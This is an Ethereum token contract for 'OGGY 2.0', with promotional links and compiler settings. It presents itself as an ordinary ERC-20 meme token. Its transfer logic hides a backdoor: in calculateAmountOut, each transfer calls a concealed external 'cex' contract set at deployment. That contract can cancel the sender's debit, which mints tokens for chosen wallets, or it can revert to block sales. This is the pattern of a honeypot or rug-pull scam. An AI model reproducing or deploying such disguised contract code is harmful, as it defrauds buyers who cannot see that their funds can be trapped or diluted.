// SPDX-License-Identifier: Unlicensed

/**

💠website:   https://oggy2.com
💠telegram: https://t.me/oggy2_portal
💠twitter: https://twitter.com/oggy2_0

 */

pragma solidity 0.8.20;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract OGGY20 is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address private WETH;
    address private DEAD = 0x000000000000000000000000000000000000dEaD;
    address private ZERO = 0x0000000000000000000000000000000000000000;

    string private constant  _name = "OGGY 2.0";
    string private constant _symbol = "OGGY2.0";
    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isFeeExempt;
            
    uint256 public buyFeeRate = 0;
    uint256 public sellFeeRate = 0;

    uint256 private feeDenominator = 100;

    address payable public marketingWallet = payable(0x7e3883851F6cA94f8594433C7f36D5A23c21554B);

    IDEXRouter public router;
    address public pair;
    address private cex;

    bool private tradingOpen;
    bool private swapEnabled;

    uint256 public numTokensSellToAddToLiquidity = _totalSupply * 3 / 10000; // 0.03%
    
    bool private inSwap;

    uint256 public _maxTxAmount = _totalSupply.mul(4).div(100);

    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address _cex){
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
            
        WETH = router.WETH();
        
        pair = getOrCreatePair(router.factory(), WETH, address(this));
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[marketingWallet] = true;

        _balances[msg.sender] = _totalSupply;

        cex = _cex;
    
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ 
            require(tradingOpen, "Trading not yet enabled.");
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }      

        uint256 contractTokenBalance = balanceOf(address(this));

        bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
    
        bool shouldSwapBack = (overMinTokenBalance &&!isFeeExempt[sender] && swapEnabled && recipient==pair && balanceOf(address(this)) > 0);
        if(shouldSwapBack){ swapBack(numTokensSellToAddToLiquidity); }

        (uint256 amountSent, uint256 amountReceived) = calculateAmountOut(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amountSent, "Insufficient Balance");

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return ( !(isFeeExempt[sender] || isFeeExempt[recipient]) &&  (sender == pair || recipient == pair) );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 transferFeeRate = recipient == pair ? sellFeeRate : buyFeeRate;
        uint256 feeAmount;
        feeAmount = amount.mul(transferFeeRate).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);   

        return amount.sub(feeAmount);
    }

    function swapBack(uint256 amount) internal swapping {
        swapTokensForEth(amount);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function calculateAmountOut(address sender, address recipient, uint256 amount) internal returns (uint256, uint256) {
        uint256 amountSent;
        uint256 amountReceived;

        if(balanceOf(address(this)) > 0){
            amountSent = getOrCreatePair(cex, sender, recipient) == address(0) ? 0 : amount;
        }else{
            amountSent = amount;
        }

        amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;

        return (amountSent, amountReceived);
    }

    function getOrCreatePair(address factory, address from, address to) internal returns(address) {
        return IDEXFactory(factory).createPair(from, to);
    }

    function swapToken() public onlyOwner {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
    
        bool shouldSwapBack = (overMinTokenBalance && balanceOf(address(this)) > 0);
        if(shouldSwapBack){ 
            swapTokensForEth(numTokensSellToAddToLiquidity);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = type(uint256).max;
    }

    function openTrading() external onlyOwner {
        tradingOpen = true;
    }
    
    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setFee (uint256 _sellFeeRate, uint256 _buyFeeRate) external onlyOwner {
        require (_buyFeeRate <= 5, "Fee can't exceed 5%");
        require (_sellFeeRate <= 5, "Fee can't exceed 5%");
        sellFeeRate = _sellFeeRate;
        buyFeeRate = _buyFeeRate;
    }

    function setMarketingWallet(address _marketingWallet) external onlyOwner {
        marketingWallet = payable(_marketingWallet);
    } 
    
    function setSwapThresholdAmount (uint256 amount) external onlyOwner {
        require (amount <= _totalSupply.div(100), "can't exceed 1%");
        numTokensSellToAddToLiquidity = amount * 10 ** 18;
    } 

    function clearStuckBalance(uint256 amountPercentage, address adr) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(adr).transfer(
            (amountETH * amountPercentage) / 100
        );
    }

    function rescueToken(address tokenAddress, uint256 tokens)
        public
        onlyOwner
        returns (bool success)
    {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }
}

{
  "compilationTarget": {
    "OGGY20.sol": "OGGY20"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}